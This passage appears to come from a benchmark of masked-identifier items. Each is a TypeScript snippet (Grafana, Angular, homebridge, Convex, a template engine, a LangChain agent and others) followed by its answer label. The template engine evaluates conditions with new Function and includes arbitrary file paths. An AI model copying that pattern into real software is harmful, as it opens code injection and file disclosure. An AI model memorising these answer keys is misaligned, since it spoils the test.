];

describe(""SakutaroPoem"", function () {
  let signer: SignerWithAddress;
  let buyer: SignerWithAddress;
  let nftContract: any;

  this.beforeEach(async function () {
    [signer, buyer] = await ethers.getSigners();
    const SakutaroPoem = await ethers.getContractFactory(""SakutaroPoem"");
    nftContract = await SakutaroPoem.deploy();

    const elements: string[] = [];
    for (let i = 0; i < poemTitles.length; i++) {
      elements.push(poemTitles[i] + poemBodies[i]);
    }
    const merkleTree = new MerkleTree(elements, keccak256, { hashLeaves: true, sortPairs: true });
    const root = merkleTree.getHexRoot();
    console.log({ root });

    for (let id = 0; id < poemTitles.length; id++) {
      const leaf = keccak256(elements[id]);
      const proof = merkleTree.getHexProof(leaf);
      merkleTree.verify(proof, leaf, root);
      if (id === 0) {
        console.log({ proof, leaf: leaf.toString(""hex""), root });
      }

      const tx = await nftContract.mint(buyer.address, id, poemTitles[id], poemBodies[id], proof);
      const txReceipt = await tx.wait();
      console.log(id, ""gasUsed:"", txReceipt.gasUsed.toString());
    }
  });

  it(""Test"", async function () {
    const  [MASK]  = await nftContract.tokenURI(1);
    console.log( [MASK] );
  });
});
",uri
825,"
import {
  DataQueryRequest,
  DataQueryResponse,
  DataSourceApi,
  DataSourceInstanceSettings,
  MutableDataFrame,
  FieldType,
  // dateTime,
} from '@grafana/data';

import { getBackendSrv } from '@grafana/runtime';


import { MyQuery, MyDataSourceOptions } from './types';

const fitsDataApi = 'http://fits.geonet.org.nz/observation?';

export class DataSource extends DataSourceApi<MyQuery, MyDataSourceOptions> {
  constructor(instanceSettings: DataSourceInstanceSettings<MyDataSourceOptions>) {
    super(instanceSettings);
  }

  async doRequest(query: MyQuery, from: number, to: number) {
    let  [MASK] : number;
    let days: number;

     [MASK]  = (to - from) / 3600 / 24 / 1000;
    if ( [MASK]  < 1) {
       [MASK]  = 1;
    }

    days =  [MASK]  | 0;

    const response = await getBackendSrv().datasourceRequest({
      method: 'GET',
      url:
        fitsDataApi +
        'typeID=' +
        query.type +
        '&siteID=' +
        query.site +
        '&days='   +
        days,
    });

    // let fitsResp = response.data.split(""\n"") as FitsDataResponse[];
    // return fitsResp[0].data;
    return response.data
  }

  async query(options: DataQueryRequest<MyQuery>): Promise<DataQueryResponse> {
    const { range } = options;
    const from = range!.from.valueOf();
    const to = range!.to.valueOf();
    // Return a constant for each query.
    const promises = options.targets.map((query) =>
      this.doRequest(query, from, to).then((response) => {
        let resp_split = response.split(""\n"");
        let headers = resp_split[0].split("","");

        const frame = new MutableDataFrame({
          refId: query.refId,
          name: query.site,
          fields: [
            { name: headers[0], type: FieldType.time },
            { name: headers[1], type: FieldType.number },
            { name: headers[2], type: FieldType.number },
          ],
        });
        resp_split.forEach((line: any, index: number) => {
          if (index > 0) {
            let point = line.split("","");

            let t: Date;
            let value: number;
            let error: number;

            t = point[0];
            value = point[1];
            error = point[2];

            if (isNaN(value) || value == null) {
              console.log(""found a NaN or null here!"");
            } else {
              frame.appendRow([t, value, error]);
            }
          }
        });

        return frame;
      })
    );

    return Promise.all(promises).then((data) => ({ data }));
  }

  async testDatasource() {
    // Implement a health check for your data source.
    return {
      status: 'success',
      message: 'Success',
    };
  }
}
",days_float
826,"import {
  Input,
  OnChanges,
  Directive,
  ElementRef,
  Inject,
  Self,
  SimpleChange,
  SimpleChanges,
  SkipSelf,
  forwardRef,
  Renderer2,
  Optional,
} from '@angular/core';

import {
  ControlContainerAccessor,
  ControlAccessor,
  FormControl,
  RX_CONTROL_DIRECTIVE,
  RX_CONTROL_ACCESSOR,
  ɵControlNameDirective as ControlNameDirective,
  ɵresolveControlContainerAccessor as resolveControlContainerAccessor,
  IControlValueMapper,
  IControlDirectiveCallback,
  RX_CONTROL_DIRECTIVE_CALLBACK,
  isAncestorControlPropTruthy$,
} from 'rx-controls-angular';

import {
  FormControlDirective,
  NgControl,
  ControlValueAccessor,
} from '@angular/forms';

import { CompatFormControl, FROM_RXCONTROL } from './compat-form-control';
import { combineLatest } from 'rxjs';

@Directive({
  selector: '[rxFormControlName][formControl]',
  exportAs: 'rxCompatForm',
  providers: [
    {
      provide: RX_CONTROL_DIRECTIVE,
      useExisting: forwardRef(() => CompatFormControlNameDirective),
    },
  ],
})
export class CompatFormControlNameDirective
  extends ControlNameDirective<FormControl>
  implements ControlAccessor<FormControl>, OnChanges {
  static id = 0;

  @Input('rxFormControlName') controlName!: string;
  @Input('rxFormControlValueMapper')
  valueMapper: IControlValueMapper | undefined;

  protected ngControl = new CompatFormControl(
    new FormControl(undefined, {
      id: Symbol(
        `RxCompatFormControlNameDirective-${CompatFormControlNameDirective.id++}`
      ),
    })
  );

  readonly control = this.ngControl.rxControl;

  protected valueAccessor: ControlValueAccessor | null;

  protected containerAccessor: ControlContainerAccessor;

  constructor(
    @Self()
    @Inject(NgControl)
    protected ngDirective: FormControlDirective,
    @Optional()
    @Inject(RX_CONTROL_DIRECTIVE_CALLBACK)
    protected controlDirectiveCallbacks:
      | IControlDirectiveCallback<FormControl>[]
      | null,
    @SkipSelf()
    @Inject(RX_CONTROL_ACCESSOR)
    parentAccessors: ControlAccessor[],
     [MASK] : Renderer2,
    el: ElementRef
  ) {
    super( [MASK] , el);

    this.containerAccessor = resolveControlContainerAccessor(parentAccessors);

    const self = this;

    const orig = this.ngDirective.ngOnChanges.bind(this.ngDirective);

    let index = 0;

    this.ngDirective.ngOnChanges = (changes: SimpleChanges) => {
      const old = self.ngDirective.form;
      self.ngDirective.form = self.ngControl;
      orig({
        ...changes,
        form: new SimpleChange(old, self.ngControl, index === 0),
      });
      index++;
    };

    this.valueAccessor = this.ngDirective.valueAccessor;

    // respond to control and control ancestor disabled changes
    this.subscriptions.push(
      combineLatest([
        this.control.observe('disabled'),
        isAncestorControlPropTruthy$(this.control, 'selfDisabled'),
      ]).subscribe(([a, b]) => {
        if (a || b) {
          this.ngControl.disable({ [FROM_RXCONTROL]: true });
        } else {
          this.ngControl.enable({ [FROM_RXCONTROL]: true });
        }
      })
    );
  }

  ngOnChanges(_: { controlName?: SimpleChange; valueMapper?: SimpleChange }) {
    if (!this.controlName) {
      throw new Error(
        `RxCompatFormControlNameDirective must be passed a rxFormControlName`
      );
    }

    this.assertValidValueMapper(
      'RxCompatFormControlNameDirective#rxFormControlValueMapper',
      this.valueMapper
    );

    super.ngOnChanges(_);
  }

  protected validateProvidedControl(control: any): control is FormControl {
    if (!(control instanceof FormControl)) {
      throw new Error(
        'RxCompatFormControlNameDirective must link to an instance of (rx)FormControl'
      );
    }

    return true;
  }
}
",renderer
827,"/**
 * This file contains the helpers for HAP-NodeJS and homebridge packages.
 *
 * @file hapCustom.ts
 * @author <NAME>
 * @date 2023-11-13
 * @version 1.0.9
 *
 * All rights reserved.
 *
 */

import {
  API,
  Service,
  CharacteristicEventTypes,
  CharacteristicGetCallback,
  CharacteristicSetCallback,
  CharacteristicValue,
  CharacteristicChange,
  Perms,
  WithUUID,
  CharacteristicGetHandler,
  CharacteristicSetHandler,
  VoidCallback,
  Categories,
  PlatformAccessory,
  CharacteristicProps,
} from 'homebridge';
import * as crypto from 'crypto';
import { AnsiLogger, debugStringify, db, dn, er, hk, id, rk, rs, wr, zb } from 'node-ansi-logger';
import { NodeStorage, NodeStorageKey } from 'node-persist-manager';

export const HapCategoryNames: Record<number, string> = {
  [Categories.OTHER]: 'OTHER',
  [Categories.BRIDGE]: 'BRIDGE',
  [Categories.FAN]: 'FAN',
  [Categories.GARAGE_DOOR_OPENER]: 'GARAGE_DOOR_OPENER',
  [Categories.LIGHTBULB]: 'LIGHTBULB',
  [Categories.DOOR_LOCK]: 'DOOR_LOCK',
  [Categories.OUTLET]: 'OUTLET',
  [Categories.SWITCH]: 'SWITCH',
  [Categories.THERMOSTAT]: 'THERMOSTAT',
  [Categories.SENSOR]: 'SENSOR',
  [Categories.SECURITY_SYSTEM]: 'SECURITY_SYSTEM',
  [Categories.DOOR]: 'DOOR',
  [Categories.WINDOW]: 'WINDOW',
  [Categories.WINDOW_COVERING]: 'WINDOW_COVERING',
  [Categories.PROGRAMMABLE_SWITCH]: 'PROGRAMMABLE_SWITCH',
  [Categories.RANGE_EXTENDER]: 'RANGE_EXTENDER',
  [Categories.IP_CAMERA]: 'IP_CAMERA',
  [Categories.VIDEO_DOORBELL]: 'VIDEO_DOORBELL',
  [Categories.AIR_PURIFIER]: 'AIR_PURIFIER',
  [Categories.AIR_HEATER]: 'AIR_HEATER',
  [Categories.AIR_CONDITIONER]: 'AIR_CONDITIONER',
  [Categories.AIR_HUMIDIFIER]: 'AIR_HUMIDIFIER',
  [Categories.AIR_DEHUMIDIFIER]: 'AIR_DEHUMIDIFIER',
  [Categories.APPLE_TV]: 'APPLE_TV',
  [Categories.HOMEPOD]: 'HOMEPOD',
  [Categories.SPEAKER]: 'SPEAKER',
  [Categories.AIRPORT]: 'AIRPORT',
  [Categories.SPRINKLER]: 'SPRINKLER',
  [Categories.FAUCET]: 'FAUCET',
  [Categories.SHOWER_HEAD]: 'SHOWER_HEAD',
  [Categories.TELEVISION]: 'TELEVISION',
  [Categories.TARGET_CONTROLLER]: 'TARGET_CONTROLLER',
  [Categories.ROUTER]: 'ROUTER',
  [Categories.AUDIO_RECEIVER]: 'AUDIO_RECEIVER',
  [Categories.TV_SET_TOP_BOX]: 'TV_SET_TOP_BOX',
  [Categories.TV_STREAMING_STICK]: 'TV_STREAMING_STICK',
};

// eslint-disable-next-line @typescript-eslint/no-explicit-any
export type CharacteristicContext = any;
// eslint-disable-next-line @typescript-eslint/no-explicit-any
export type HAPConnection = any;
export declare const enum CharacteristicWarningType {
  SLOW_WRITE = 'slow-write',
  TIMEOUT_WRITE = 'timeout-write',
  SLOW_READ = 'slow-read',
  TIMEOUT_READ = 'timeout-read',
  WARN_MESSAGE = 'warn-message',
  ERROR_MESSAGE = 'error-message',
  DEBUG_MESSAGE = 'debug-message',
}
export type CharacteristicGetListener = (callback: CharacteristicGetCallback, context: CharacteristicContext, connection?: HAPConnection) => void;
export type CharacteristicSetListener = (value: CharacteristicValue, callback: CharacteristicSetCallback, context: CharacteristicContext, connection?: HAPConnection) => void;
export type CharacteristicChangeListener = (change: CharacteristicChange) => void;
export type CharacteristicSubscribeListener = VoidCallback;
export type CharacteristicUnsubscribeListener = VoidCallback;
export type CharacteristicWarningListener = (type: CharacteristicWarningType, message: string, stack?: string) => void;

export interface AccessoryInformationParams extends BaseServiceParams {
  model?: string;
  manufacturer?: string;
  serialNumber?: string;
  firmwareRevision?: string; // boolean
  hardwareRevision?: string; // boolean write
  softwareRevision?: string; // boolean write
  onSetIdentify?: CharacteristicSetListener;
  onSetIdentifyAsync?: CharacteristicSetHandler;
}

export const createServiceAccessoryInformation = (api: API, accessory: PlatformAccessory, displayName: string, optionalParams?: AccessoryInformationParams) => {
  const Service = api.hap.Service;
  const Characteristic = api.hap.Characteristic;
  const params: AccessoryInformationParams = Object.assign(
    {
      model: 'Hap Model',
      manufacturer: 'Hap Manufacturer',
      serialNumber: crypto.randomBytes(8).toString('hex'),
      firmwareRevision: '1.0.0',
      hardwareRevision: undefined, // '1.0.0',
      softwareRevision: undefined, // '1.0.0',
      statusActive: undefined, // true,
      statusFault: undefined, // Characteristic.StatusFault.NO_FAULT,
      hidden: undefined,
      primary: undefined,
      onSetIdentify: undefined,
      onSetIdentifyAsync: undefined,
    },
    optionalParams,
  );
  const service = accessory.getService(Service.AccessoryInformation) || accessory.addService(new Service.AccessoryInformation(displayName));
  setName(api, service, displayName);
  service.setCharacteristic(Characteristic.Model, params.model || 'Hap Model');
  service.setCharacteristic(Characteristic.Manufacturer, params.manufacturer || 'Hap Manufacturer');
  service.setCharacteristic(Characteristic.SerialNumber, params.serialNumber || crypto.randomBytes(8).toString('hex'));
  if (params.firmwareRevision) {
    service.setCharacteristic(Characteristic.FirmwareRevision, params.firmwareRevision);
  }
  if (params.hardwareRevision) {
    service.setCharacteristic(Characteristic.HardwareRevision, params.hardwareRevision);
  }
  if (params.softwareRevision) {
    service.setCharacteristic(Characteristic.SoftwareRevision, params.softwareRevision);
  }
  setActiveFault(api, service, params.statusActive, params.statusFault);
  setPrimaryHidden(api, service, params.primary, params.hidden);
  if (params.onSetIdentify) {
    service.getCharacteristic(Characteristic.Identify).on(CharacteristicEventTypes.SET, params.onSetIdentify);
  } else if (params.onSetIdentifyAsync) {
    service.getCharacteristic(Characteristic.Identify).onSet(params.onSetIdentifyAsync);
  }
  return service;
};

export function MoveToPosition(api: API, service: Service, targetPosition: number,  [MASK] : number, executeCommand?: (command: string) => void) {
  // eslint-disable-next-line @typescript-eslint/no-unused-vars
  const Service = api.hap.Service;
  const Characteristic = api.hap.Characteristic;
  let currentPosition = service.getCharacteristic(Characteristic.CurrentPosition).value as number;
  const positionState = service.getCharacteristic(Characteristic.PositionState).value;
  if (positionState !== Characteristic.PositionState.STOPPED) {
    // eslint-disable-next-line no-console
    console.log('Already moving so stop it and return');
    HoldPosition(api, service, currentPosition);
    executeCommand?.('stop');
    return;
  }

  if (targetPosition > currentPosition) {
    // Opening
    const steps = targetPosition - currentPosition;
    const duration = (steps *  [MASK] ) / 100;
    // eslint-disable-next-line no-console
    console.log('Opening current', currentPosition, 'target', targetPosition, 'duration', duration, 'steps', steps);
    service.setCharacteristic(Characteristic.PositionState, Characteristic.PositionState.INCREASING);
    executeCommand?.('open');
    const timeout = setInterval(
      () => {
        if (service.getCharacteristic(Characteristic.PositionState).value === Characteristic.PositionState.STOPPED) {
          clearInterval(timeout);
          return;
        }
        currentPosition += 1;
        if (currentPosition >= targetPosition) {
          currentPosition = targetPosition;
          service.setCharacteristic(Characteristic.CurrentPosition, currentPosition);
          service.setCharacteristic(Characteristic.PositionState, Characteristic.PositionState.STOPPED);
          clearInterval(timeout);
          if (currentPosition !== 100) {
            executeCommand?.('stop');
          }
        } else {
          service.setCharacteristic(Characteristic.CurrentPosition, currentPosition);
        }
      },
      (duration / steps) * 1000,
    );
  }

  if (targetPosition < currentPosition) {
    // Closing
    const steps = currentPosition - targetPosition;
    const duration = (steps *  [MASK] ) / 100;
    // eslint-disable-next-line no-console
    console.log('Closing current', currentPosition, 'target', targetPosition, 'duration', duration, 'steps', steps);
    service.setCharacteristic(Characteristic.PositionState, Characteristic.PositionState.DECREASING);
    executeCommand?.('close');
    const timeout = setInterval(
      () => {
        if (service.getCharacteristic(Characteristic.PositionState).value === Characteristic.PositionState.STOPPED) {
          clearInterval(timeout);
          return;
        }
        currentPosition -= 1;
        if (currentPosition <= targetPosition) {
          currentPosition = targetPosition;
          service.setCharacteristic(Characteristic.CurrentPosition, currentPosition);
          service.setCharacteristic(Characteristic.PositionState, Characteristic.PositionState.STOPPED);
          clearInterval(timeout);
          if (currentPosition !== 0) {
            executeCommand?.('stop');
          }
        } else {
          service.setCharacteristic(Characteristic.CurrentPosition, currentPosition);
        }
      },
      (duration / steps) * 1000,
    );
  }
}

export function HoldPosition(api: API, service: Service, currentPosition: number, executeCommand?: (command: string) => void) {
  // eslint-disable-next-line @typescript-eslint/no-unused-vars
  const Service = api.hap.Service;
  const Characteristic = api.hap.Characteristic;
  // eslint-disable-next-line no-console
  console.log('HoldPosition currentPosition', currentPosition);
  service.updateCharacteristic(Characteristic.PositionState, Characteristic.PositionState.STOPPED);
  service.updateCharacteristic(Characteristic.CurrentPosition, currentPosition);
  service.updateCharacteristic(Characteristic.TargetPosition, currentPosition);
  executeCommand?.('stop');
}

export interface BaseServiceParams {
  statusActive?: boolean; // true,
  statusFault?: number; // Characteristic.StatusFault.NO_FAULT,
  hidden?: boolean;
  primary?: boolean;
  nodeStorage?: NodeStorage;
}

export interface WindowCoveringParams extends BaseServiceParams {
  currentPosition: number;
  targetPosition: number;
  positionState: number;
  obstructionDetected?: boolean; // boolean
  holdPosition?: boolean; // boolean write
  onChangeCurrentPosition?: CharacteristicChangeListener;
  onGetCurrentPosition?: CharacteristicGetListener;
  onSetTargetPosition?: CharacteristicSetListener;
  onSetHoldPosition?: CharacteristicSetListener;
}

export const createServiceWindowCovering = async (api: API, accessory: PlatformAccessory, displayName: string, optionalParams?: WindowCoveringParams) => {
  const Service = api.hap.Service;
  const Characteristic = api.hap.Characteristic;
  const params: WindowCoveringParams = Object.assign(
    {
      currentPosition: 0,
      targetPosition: 0,
      positionState: Characteristic.PositionState.STOPPED, // read
      obstructionDetected: undefined, // boolean
      holdPosition: undefined, // boolean write
      statusActive: undefined, // true,
      statusFault: undefined, // Characteristic.StatusFault.NO_FAULT,
      hidden: undefined,
      primary: undefined,
      onChangeCurrentPosition: undefined,
      onGetCurrentPosition: undefined,
      onSetTargetPosition: undefined,
      onSetHoldPosition: undefined,
    },
    optionalParams,
  );
  const service = accessory.getService(Service.WindowCovering) || accessory.addService(new Service.WindowCovering(displayName));
  setName(api, service, displayName);
  service.setCharacteristic(
    Characteristic.CurrentPosition,
    params.nodeStorage ? await params.nodeStorage.get<number>('currentPosition', params.currentPosition) : params.currentPosition,
  );
  service.setCharacteristic(
    Characteristic.TargetPosition,
    params.nodeStorage ? await params.nodeStorage.get<number>('targetPosition', params.targetPosition) : params.targetPosition,
  );
  service.setCharacteristic(Characteristic.PositionState, params.nodeStorage ? await params.nodeStorage.get<number>('positionState', params.positionState) : params.positionState);
  if (params.obstructionDetected !== undefined) {
    service.setCharacteristic(
      Characteristic.ObstructionDetected,
      params.nodeStorage ? await params.nodeStorage.get<boolean>('obstructionDetected', params.obstructionDetected) : params.obstructionDetected,
    );
  }
  if (params.holdPosition !== undefined) {
    service.setCharacteristic(Characteristic.HoldPosition, params.nodeStorage ? await params.nodeStorage.get<boolean>('holdPosition', params.holdPosition) : params.holdPosition);
  }
  setActiveFault(api, service, params.statusActive, params.statusFault);
  setPrimaryHidden(api, service, params.primary, params.hidden);
  if (params.onChangeCurrentPosition) {
    service.getCharacteristic(Characteristic.CurrentPosition).on(CharacteristicEventTypes.CHANGE, params.onChangeCurrentPosition);
  }
  if (params.onGetCurrentPosition) {
    service.getCharacteristic(Characteristic.CurrentPosition).on(CharacteristicEventTypes.GET, params.onGetCurrentPosition);
  }
  if (params.onSetTargetPosition) {
    service.getCharacteristic(Characteristic.TargetPosition).on(CharacteristicEventTypes.SET, params.onSetTargetPosition);
  }
  if (params.onSetHoldPosition) {
    service.getCharacteristic(Characteristic.HoldPosition).on(CharacteristicEventTypes.SET, params.onSetHoldPosition);
  }
  return service;
};

export interface AddCharacteristicParams {
  value?: CharacteristicValue;
  hidden?: boolean;
  nodeStorage?: NodeStorage;
  storageKey?: NodeStorageKey;
  storageDefaultValue?: CharacteristicValue;
  onChange?: CharacteristicChangeListener;
  onGet?: CharacteristicGetListener;
  onGetAsync?: CharacteristicGetHandler;
  onSet?: CharacteristicSetListener;
  onSetAsync?: CharacteristicSetHandler;
}

export interface CharacteristicDefinition {
  name: string;
  UUID: string;
  props: CharacteristicProps;
  value: CharacteristicValue;
}

export async function addCharacteristic<S extends WithUUID<typeof Service>>(
  api: API,
  accessory: PlatformAccessory,
  service: string | S,
  characteristic: CharacteristicDefinition,
  params: AddCharacteristicParams,
) {
  // console.log(characteristic);
  const _service = accessory.getService(service);
  if (!_service) {
    return;
  }
  let _characteristic = new api.hap.Characteristic(characteristic.name, characteristic.UUID, characteristic.props);

  let isOptional = false;
  _service.optionalCharacteristics.forEach((optionalCharacteristic) => {
    if (optionalCharacteristic.UUID === _characteristic.UUID) {
      isOptional = true;
      return;
    }
  });
  if (!isOptional) {
    _service.addOptionalCharacteristic(_characteristic);
  }

  let isPresent = false;
  _service.characteristics.forEach((characteristic) => {
    if (characteristic.UUID === _characteristic.UUID) {
      _characteristic = characteristic;
      isPresent = true;
      return;
    }
  });
  if (!isPresent) {
    _characteristic = _service.addCharacteristic(_characteristic);
  }

  if (params.value !== undefined) {
    _characteristic.setValue(params.value);
  } else if (params.nodeStorage && params.storageKey) {
    _characteristic.setValue(await params.nodeStorage.get(params.storageKey, params.storageDefaultValue));
  }
  if (params.onChange) {
    _characteristic.on(CharacteristicEventTypes.CHANGE, params.onChange);
  }
  if (params.onGet) {
    _characteristic.on(CharacteristicEventTypes.GET, params.onGet);
  } else if (params.onGetAsync) {
    _characteristic.onGet(params.onGetAsync);
  }
  if (params.onSet) {
    _characteristic.on(CharacteristicEventTypes.SET, params.onSet);
  } else if (params.onSetAsync) {
    _characteristic.onSet(params.onSetAsync);
  }
}

export const setName = (api: API, service: Service, displayName: string) => {
  // eslint-disable-next-line @typescript-eslint/no-unused-vars
  const Service = api.hap.Service;
  const Characteristic = api.hap.Characteristic;

  service.name = service.constructor.name;
  service.displayName = displayName;
  service.setCharacteristic(Characteristic.Name, displayName);
  service.addOptionalCharacteristic(Characteristic.ConfiguredName);
  service.setCharacteristic(Characteristic.ConfiguredName, displayName);
  service.getCharacteristic(Characteristic.ConfiguredName).setProps({ perms: [Perms.PAIRED_READ, Perms.PAIRED_WRITE, Perms.EVENTS, Perms.HIDDEN] });
};

export const setPrimaryHidden = (api: API, service: Service, primary: boolean | undefined, hidden: boolean | undefined) => {
  // eslint-disable-next-line @typescript-eslint/no-unused-vars
  const Service = api.hap.Service;
  // eslint-disable-next-line @typescript-eslint/no-unused-vars
  const Characteristic = api.hap.Characteristic;
  if (primary) {
    service.setPrimaryService(primary);
  }
  if (hidden) {
    service.setHiddenService(hidden);
  }
};

export const setActiveFault = (api: API, service: Service, statusActive: boolean | undefined, statusFault: number | undefined) => {
  // eslint-disable-next-line @typescript-eslint/no-unused-vars
  const Service = api.hap.Service;
  const Characteristic = api.hap.Characteristic;
  if (statusActive !== undefined) {
    service.addOptionalCharacteristic(Characteristic.StatusActive);
    service.setCharacteristic(Characteristic.StatusActive, statusActive);
  }
  if (statusFault !== undefined) {
    service.addOptionalCharacteristic(Characteristic.StatusFault);
    service.setCharacteristic(Characteristic.StatusFault, statusFault);
  }
};

export function logAccessory(accessory: PlatformAccessory, log: AnsiLogger) {
  log.debug(
    `Accessory ${id}${accessory.displayName}${rk}${rs}${db} UUID: ${accessory.UUID} AID: ${accessory._associatedHAPAccessory.aid} cat ${hk}${HapCategoryNames[accessory.category]}${db} ${accessory._associatedHAPAccessory.reachable ? wr + 'reachable' : er + 'not reachable'}${db} ${accessory._associatedHAPAccessory.bridged === true ? wr + 'bridged' + db + ' with ' + accessory._associatedHAPAccessory.bridge?._accessoryInfo?.displayName : 'not bridged'} `,
  );
  for (const service of accessory.services) {
    log.debug(
      `==> ${zb}${service.constructor.name}${rs}${db} name ${hk}${service.name}${db} display ${hk}${service.displayName}${db} subtype ${hk}${service.subtype}${db} iid ${hk}${service.iid}${db} uuid ${hk}${service.UUID.slice(0, 8)}${db} ${service.isHiddenService === true ? `${wr}hidden${db}` : ''} ${service.isPrimaryService === true ? `${wr}primary${db}` : ''}`,
    );
    for (const characteristic of service.characteristics) {
      const propsstring = debugStringify(characteristic.props);
      log.debug(
        `====> ${dn}${characteristic.constructor.name}-${characteristic.displayName}${db} value ${hk}${characteristic.value}${db} props ${hk}${propsstring}${db} iid ${hk}${characteristic.iid}${db} uuid ${hk}${characteristic.UUID.slice(0, 8)}${db}`,
      );
    }
  }
}
",durationSeconds
828,"import { v } from ""convex/values"";
import { mutation, query } from ""./_generated/server"";
import { ConvexError } from ""convex/values"";

export const create = mutation({
  args: {
    auth: v.int64(),
    server: v.id(""servers""),
    name: v.string(),
  },
  handler: async ({ db }, { server, name, auth }) => {
    const user = await db
      .query(""users"")
      .withIndex(""by_auth"", (q) => q.eq(""authId"", auth))
      .unique();

    if (!user) {
      throw new ConvexError(""User not found"");
    }

    const member = await db
      .query(""members"")
      .withIndex(""by_user"", (q) => q.eq(""user"", user._id))
      .filter((q) => q.eq(q.field(""server""), server))
      .unique();

    if (!member) {
      throw new ConvexError(""Member not found in this server"");
    }

    const memberRoles = await Promise.all(
      member.roles.map(( [MASK] ) => db.get( [MASK] )),
    );

    const canManageCategories = memberRoles.some(
      (role) => role?.actions.canManageCategories,
    );

    if (!canManageCategories) {
      throw new ConvexError(""You do not have permission to manage categories."");
    }

    return await db.insert(""categories"", {
      name,
      server,
    });
  },
});
",roleId
829,"import { readFileSync } from ""node:fs"";
import type { Context } from ""./types.js"";

type Plugin = (params: Record<string, string>, context: Context) => Promise<string> | string;

export class TemplateEngine {
  readonly #plugins: Map<string, Plugin> = new Map<string, Plugin>();

  registerBlock(name: string, fn: Plugin): void {
    this.#plugins.set(name, fn);
  }

  async render(template: string, context: Context): Promise<string> {
    return await this.process(template, context);
  }

  private async process(template: string, context: Context): Promise<string> {
    let result: string;

    // Handle includes
    result = template.replaceAll(/{{\s*include\s+""([^""]+)""\s*}}/g, (_, filePath) => {
      try {
        return readFileSync(filePath, ""utf8"");
      } catch {
        return `Error: Unable to include file '${filePath}'`;
      }
    });

    // Handle nested conditionals
    result = await this.processConditionals(result, context);

    // Handle variables
    result = result.replaceAll(/{{\s*(\w+)\s*}}/g, (_, varName) => {
      return context[varName] !== undefined ? String(context[varName]) : """";
    });

    // Handle custom plugins (blocks)
    result = await this.processBlocks(result, context);

    return result;
  }

  private async processBlocks(template: string, context: Context): Promise<string> {
    const blockRegex = /{{\s*block\s+(\w+)\s*(.*?)\s*}}/g;
    const matches = [...template.matchAll(blockRegex)];
    let result = template;

    for (const match of matches) {
      const [fullMatch, blockName, paramsStr] = match;
      if (!blockName) {
        continue;
      }
      const plugin = this.#plugins.get(blockName);
      if (plugin) {
        const replacement = await plugin(paramsStr ? this.parseParams(paramsStr) : {}, context);
        result = result.replaceAll(fullMatch, replacement);
      } else {
        result = result.replaceAll(fullMatch, `Error: Block '${blockName}' not found`);
      }
    }

    return result;
  }

  private async processConditionals(template: string, context: Context): Promise<string> {
    const  [MASK]  =
      /{{\s*if\s+(.*?)\s*}}([\s\S]*?)(?:{{\s*else\s*}}([\s\S]*?))?{{\s*endif\s*}}/g;
    let result = template;

    const matches = [...template.matchAll( [MASK] )];

    for (const match of matches) {
      const [fullMatch, condition, ifBlock, elseBlock] = match;
      if (!condition) {
        continue;
      }
      const evaluatedCondition = this.evaluateCondition(condition, context);
      const replacement = evaluatedCondition ? ifBlock : (elseBlock ?? """");
      result = result.replaceAll(
        fullMatch,
        replacement ?? `Error: Invalid conditional '${fullMatch}'`,
      );
    }

    return result;
  }

  private evaluateCondition(condition: string, context: Context): boolean {
    try {
      return new Function(...Object.keys(context), `return Boolean(${condition});`)(
        ...Object.values(context),
      );
    } catch {
      return false;
    }
  }

  private parseParams(paramStr: string): Record<string, string> {
    return Object.fromEntries(
      [...paramStr.matchAll(/(\w+)=""(.*?)""/g)].map(([, key, value]) => {
        return [key, value];
      }),
    );
  }
}
",conditionalRegex
830,"import { Noise } from '@dcl/noise-utils'

@Component('WaveGrass')
export class WaveGrass {}

// --- Set up a system ---
let t = 0
class PerlinNoiseSystem implements ISystem {
  // this group will contain every entity that has a WaveGrass and a Transform component
  group = engine.getComponentGroup(WaveGrass, Transform)

  update(dt: number) {
    t += dt / 4

    // iterate over the entities of the group
    for (const entity of this.group.entities) {
      // get the Transform component of the entity
      const transform = entity.getComponent(Transform)

      // rotate grass blades along x axis based on noise
      transform.rotation.x =
        Noise.simplex3(
          transform.position.x / 16,
          t,
          transform.position.z / 16
        ) / 3

      // rotate grass blades along z axis based on noise
      transform.rotation.z =
        Noise.simplex3(
          transform.position.z / 16,
          t,
          transform.position.x / 16
        ) / 3
    }
  }
}
// --- ground ---
const ground = new Entity()
ground.addComponent(new Transform({ position: new Vector3(8, 0, 8) }))
ground.addComponent(new GLTFShape('models/ground.glb'))
engine.addEntity(ground)

/// --- Spawner function ---
engine.addSystem(new PerlinNoiseSystem())

function spawnGrass(shape: Shape, x: number, y: number, z: number) {
  // create the entity
  const grass = new Entity()

  // add a transform to the entity
  grass.addComponent(
    new Transform({
      position: new Vector3(x, y, z),
      rotation: Quaternion.Euler(0, Math.random() * 30, 0),
      scale: new Vector3(1, 0.5 + Math.random() / 2, 1),
    })
  )

  // add a shape to the entity
  grass.addComponent(shape)
  grass.addComponent(new WaveGrass())

  const  [MASK]  = new Material()
   [MASK] .albedoColor = new Color3(x / 16, y / 16, z / 4)
  grass.addComponent( [MASK] )

  // add the entity to the engine
  engine.addEntity(grass)

  return grass
}

/// --- Spawn grass blades ---

const grassShape = new GLTFShape('models/grass.glb')
const grass2Shape = new GLTFShape('models/grass2.glb')
const grass3Shape = new GLTFShape('models/grass3.glb')

for (let x = 0.7; x < 15.4; x++) {
  for (let y = 0.7; y < 15.4; y++) {
    // select a glb mesh randomly from the 3 variations
    const selector = Math.random()

    if (selector > 0.66) {
      spawnGrass(grassShape, x, 0, y)
    } else if (selector > 0.33) {
      spawnGrass(grass2Shape, x, 0, y)
    } else {
      spawnGrass(grass3Shape, x, 0, y)
    }
  }
}

let started = false
",col
831,"import { tool } from '@langchain/core/tools';
import { ChatGoogleGenerativeAI } from '@langchain/google-genai';
import { z } from 'zod';
import { AgentExecutor, initializeAgentExecutorWithOptions } from 'langchain/agents';
import { VectorStoreService } from './vectoreStore';
import { config } from '../config/app';

export class AgentService {
    private executor: AgentExecutor;
    private vectoreStore: VectorStoreService;

    constructor( [MASK] : VectorStoreService) {
        this.vectoreStore =  [MASK] ;
    }

    async initialize() {
        const searchTool = tool(
            async ({ query }: { query: string }) => {
                const results = await this.vectoreStore.similaritySearch(query);
                return results.map(r => r.content).join('\n');
            },
            {
                name: 'search',
                description: 'Search for relevant information in the vector database',
                schema: z.object({
                    query: z.string().describe('The search query to use.'),
                }),
            }
        );

        const model = new ChatGoogleGenerativeAI({
            model: ""gemini-pro"",
            temperature: 0.7,
            maxRetries: 2,
        });

        this.executor = await initializeAgentExecutorWithOptions(
            [searchTool],
            model,
            {
                agentType: 'chat-conversational-react-description',
                verbose: true,
            }
        );
    }

